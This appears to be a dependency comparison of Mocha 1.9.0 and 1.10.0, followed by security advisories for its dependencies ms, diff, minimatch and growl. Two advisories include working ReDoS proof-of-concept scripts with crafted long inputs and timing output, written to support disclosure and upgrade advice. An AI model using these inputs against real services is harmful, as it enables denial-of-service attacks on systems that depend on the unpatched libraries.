Mocha, a simple, flexible, and fun testing framework, saw a significant update with the release of version 1.10.0, succeeding the 1.9.0 version. Both versions maintained the core philosophy of providing a versatile testing environment but had key differences that influence a developer's choice.
Looking at the dependencies is crucial when deciding which version to adopt. Version 1.10.0 introduces a new dependency, glob at version 3.2.1, which is absent in version 1.9.0. glob is a powerful tool for file pattern matching, suggesting enhanced file handling capabilities in the newer version. This addition likely benefits developers working on projects with complex file structures or those needing to run tests across multiple directories. Importantly, the new glob dependency can introduce new attack surfaces and introduce security vulnerabilities and impact performance.
The core dependencies like ms, diff, jade, debug, growl, mkdirp, and commander remain consistent between the versions, signaling the stability of the core testing functionalities. Similarly, development dependencies like should and coffee-script are unchanged, indicating no significant alterations in the development workflow or preferred code styling. The release date signifies that version 1.10.0 was released about two months after version 1.9.0, which offers increased maturity and bug fixes. Choosing between the versions requires considering if file manipulation and the functionalities enabled by file matching are needed by the developer.
All the vulnerabilities related to the version 1.10.0 of the package
Regular Expression Denial of Service in ms
Versions of ms
prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Showing increase in execution time based on the input string.
$ time node ms.js 10000
real 0m0.758s
user 0m0.724s
sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s
user 0m2.494s
sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s
user 0m5.483s
sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s
user 0m38.894s
sys 0m0.529s
Vercel ms Inefficient Regular Expression Complexity vulnerability
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.
Regular Expression Denial of Service (ReDoS)
A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Growl before 1.10.0 vulnerable to Command Injection
Affected versions of growl
do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
Update to version 1.10.0 or later.